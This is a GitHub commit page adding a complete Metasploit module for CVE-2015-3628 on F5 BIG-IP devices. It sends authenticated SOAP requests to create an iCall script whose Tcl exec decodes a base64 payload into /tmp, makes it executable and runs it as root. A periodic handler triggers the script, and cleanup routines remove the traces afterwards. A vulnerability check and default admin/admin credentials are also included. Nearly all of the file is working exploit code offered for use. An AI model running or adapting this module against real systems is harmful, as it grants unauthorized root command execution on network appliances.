Skip to content

Commit 66ed66c

Browse files
committed
Merge pull request #1 from m0t/changes
F5 BIG-IP iCall privilege escalation vulnerability (CVE-2015-3628)
2 parents e6202e3 + daa999f commit 66ed66c

File tree

1 file changed

+322
-0
lines changed

1 file changed

+322
-0
lines changed
Lines changed: 322 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,322 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "F5 iControl iCall::Script Root Command Execution",
16+
'Description' => %q{
17+
This module exploits an authenticated a privilege escalation vulnerability
18+
in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid
19+
credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0,
20+
(11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details)
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'tom' # Discovery, Metasploit module
26+
],
27+
'References' =>
28+
[
29+
['CVE', '2015-3628'],
30+
['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
31+
['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
32+
],
33+
'Platform' => ['unix'],
34+
'Arch' => ARCH_CMD,
35+
'Targets' =>
36+
[
37+
['F5 BIG-IP LTM 11.x', {}]
38+
],
39+
'Privileged' => true,
40+
'DisclosureDate' => "Sep 3 2015",
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
Opt::RPORT(443),
46+
OptBool.new('SSL', [true, 'Use SSL', true]),
47+
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
48+
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
49+
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
50+
], self.class)
51+
end
52+
53+
54+
55+
# cmd is valid tcl script
56+
def create_script(cmd)
57+
scriptname = Rex::Text.rand_text_alpha_lower(5)
58+
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
59+
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
60+
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
61+
<soapenv:Header/>
62+
<soapenv:Body>
63+
<scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
64+
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
65+
<item>#{scriptname}</item></scripts>
66+
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
67+
<item>#{cmd}</item></definitions>
68+
</scr:create>
69+
</soapenv:Body>
70+
</soapenv:Envelope>
71+
}
72+
res = send_request_cgi({
73+
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
74+
'method' => 'POST',
75+
'data' => pay,
76+
'username' => datastore['USERNAME'],
77+
'password' => datastore['PASSWORD']
78+
})
79+
if res and res.code == 200
80+
return scriptname
81+
else
82+
if res and res.code == 401
83+
print_error('401 Unauthorized')
84+
end
85+
return false
86+
end
87+
end
88+
89+
def delete_script(scriptname)
90+
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
91+
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
92+
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
93+
<soapenv:Header/>
94+
<soapenv:Body>
95+
<scr:delete_script soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
96+
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
97+
<item>#{scriptname}</item>
98+
</scripts>
99+
</scr:delete_script>
100+
</soapenv:Body>
101+
</soapenv:Envelope>
102+
}
103+
res = send_request_cgi({
104+
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
105+
'method' => 'POST',
106+
'data' => pay,
107+
'username' => datastore['USERNAME'],
108+
'password' => datastore['PASSWORD']
109+
})
110+
111+
if res and res.code == 200
112+
return true
113+
else
114+
if res and res.code == 401
115+
print_error('401 Unauthorized')
116+
end
117+
return false
118+
end
119+
end
120+
121+
def script_exists(scriptname)
122+
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
123+
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
124+
xmlns:scr="urn:iControl:iCall/Script">
125+
<soapenv:Header/>
126+
<soapenv:Body>
127+
<scr:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
128+
</soapenv:Body>
129+
</soapenv:Envelope>
130+
}
131+
132+
res = send_request_cgi({
133+
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
134+
'method' => 'POST',
135+
'data' => pay,
136+
'username' => datastore['USERNAME'],
137+
'password' => datastore['PASSWORD']
138+
})
139+
if res and res.code == 200 and res.body =~ /\/Common\/#{scriptname}/
140+
return true
141+
else
142+
if res and res.code == 401
143+
print_error('401 Unauthorized')
144+
end
145+
return false
146+
end
147+
end
148+
149+
def create_handler(scriptname, interval)
150+
handler_name = Rex::Text.rand_text_alpha_lower(5)
151+
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
152+
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
153+
xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
154+
<soapenv:Header/>
155+
<soapenv:Body>
156+
<per:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
157+
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
158+
<item>#{handler_name}</item>
159+
</handlers>
160+
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
161+
<item>/Common/#{scriptname}</item>
162+
</scripts>
163+
<intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl">
164+
<item>#{interval}</item>
165+
</intervals>
166+
</per:create>
167+
</soapenv:Body>
168+
</soapenv:Envelope>
169+
}
170+
res = send_request_cgi({
171+
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
172+
'method' => 'POST',
173+
'data' => pay,
174+
'username' => datastore['USERNAME'],
175+
'password' => datastore['PASSWORD']
176+
})
177+
if res and res.code == 200
178+
return handler_name
179+
else
180+
if res and res.code == 401
181+
print_error('401 Unauthorized')
182+
end
183+
return false
184+
end
185+
end
186+
187+
def delete_handler(handler_name)
188+
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
189+
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
190+
xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
191+
<soapenv:Header/>
192+
<soapenv:Body>
193+
<per:delete_handler soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
194+
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
195+
<item>#{handler_name}</item>
196+
</handlers>
197+
</per:delete_handler>
198+
</soapenv:Body>
199+
</soapenv:Envelope>
200+
}
201+
202+
res = send_request_cgi({
203+
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
204+
'method' => 'POST',
205+
'data' => pay,
206+
'username' => datastore['USERNAME'],
207+
'password' => datastore['PASSWORD']
208+
})
209+
if res and res.code == 200
210+
return true
211+
else
212+
if res and res.code == 401
213+
print_error('401 Unauthorized')
214+
end
215+
return false
216+
end
217+
end
218+
219+
def handler_exists(handler_name)
220+
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
221+
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
222+
xmlns:per="urn:iControl:iCall/PeriodicHandler">
223+
<soapenv:Header/>
224+
<soapenv:Body>
225+
<per:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
226+
</soapenv:Body>
227+
</soapenv:Envelope>
228+
}
229+
res = send_request_cgi({
230+
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
231+
'method' => 'POST',
232+
'data' => pay,
233+
'username' => datastore['USERNAME'],
234+
'password' => datastore['PASSWORD']
235+
})
236+
if res and res.code == 200 and res.body =~ /\/Common\/#{handler_name}/
237+
return true
238+
else
239+
if res and res.code == 401
240+
print_error('401 Unauthorized')
241+
end
242+
return false
243+
end
244+
end
245+
246+
def check
247+
# strategy: we'll send a create_script request, with empty name:
248+
# if everything is ok, the server return a 500 error saying it doesn't like empty names
249+
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
250+
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
251+
# any other response is considered not vulnerable
252+
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
253+
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
254+
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
255+
<soapenv:Header/>
256+
<soapenv:Body>
257+
<scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
258+
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
259+
<item></item></scripts>
260+
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
261+
<item></item></definitions>
262+
</scr:create>
263+
</soapenv:Body>
264+
</soapenv:Envelope>
265+
}
266+
res = send_request_cgi({
267+
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
268+
'method' => 'POST',
269+
'data' => pay,
270+
'username' => datastore['USERNAME'],
271+
'password' => datastore['PASSWORD']
272+
})
273+
if res and res.code == 500 and res.body =~ /path is empty/
274+
return Exploit::CheckCode::Appears
275+
elsif res and res.code == 401
276+
print_error('401 Unauthorized')
277+
return Exploit::CheckCode::Unknown
278+
else
279+
return Exploit::CheckCode::Safe
280+
end
281+
end
282+
283+
def exploit
284+
285+
# phase 1: create iCall script to create file with payload, execute it and remove it.
286+
filepath = '/tmp/'
287+
filename = Rex::Text.rand_text_alpha_lower(5)
288+
dest_file = filepath + filename
289+
scriptname = Rex::Text.rand_text_alpha_lower(5)
290+
print_status('Uploading payload...')
291+
292+
cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file};@ +
293+
%Q@chmod +x #{dest_file};#{dest_file};rm #{dest_file} "}@
294+
295+
script = create_script(cmd)
296+
unless script
297+
print_error("Upload script failed")
298+
return false
299+
end
300+
unless script_exists(script)
301+
print_error("create_script() run successfully but script was not found")
302+
end
303+
interval = 5
304+
305+
# phase 2: create iCall Handler, that will actually run the previously created script
306+
print_status('Creating trigger...')
307+
handler = create_handler(script, interval)
308+
unless handler
309+
print_error('Script uploaded but create_handler() failed')
310+
end
311+
print_status('Wait until payload is executed...')
312+
313+
sleep(interval+2) # small delay, just to make sure
314+
print_status('Trying cleanup...')
315+
unless delete_handler(handler) and delete_script(script)
316+
print_error('Error while cleaning up')
317+
else
318+
print_status('Cleanup finished with no errors')
319+
end
320+
321+
end
322+
end

0 commit comments

Comments
 (0)